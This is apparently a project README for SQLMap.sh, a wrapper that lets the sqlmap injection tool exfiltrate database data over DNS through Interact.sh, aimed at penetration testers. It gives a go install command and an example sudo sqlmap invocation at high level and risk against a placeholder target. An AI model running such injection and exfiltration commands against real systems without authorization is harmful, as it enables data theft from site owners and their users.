SQLMap.sh is a SQLMap wrapper that lets you use Interact.sh as a DNS server for exfiltrating data with zero configuration.
To use the SQLMap --dns-domain flag you need to open your port 53 to the internet to let it run its own DNS server and you need a properly configured domain. This is not always possible during a penetration test engagement or maybe you just don't want to buy a domain for this.
SQLMap.sh solves this problem transparently. Just use it as if it is SQLMap and your are done to exfiltrate data via DNS.
Run the following command to install the latest version.
go install github.com/unlock-security/sqlmapsh@latestJust replace sqlmap with sudo sqlmapsh when you want to use SQLMap with data exfiltration via DNS.
Note: SQLMap requires root privileges to perform data exfiltration via DNS because it needs to bind it's own DNS server locally on port 53
For example:
$ sqlmap -u 'https://www.target.com/page=1' -p page --level=5 --risk=3 --technique=E --bannerBecome:
$ sudo sqlmapsh -u 'https://www.target.com/page=1' -p page --level=5 --risk=3 --technique=E --bannerSQLMap.sh is distributed under GPLv3.0 License and made with đź’™ by the Unlock Security team.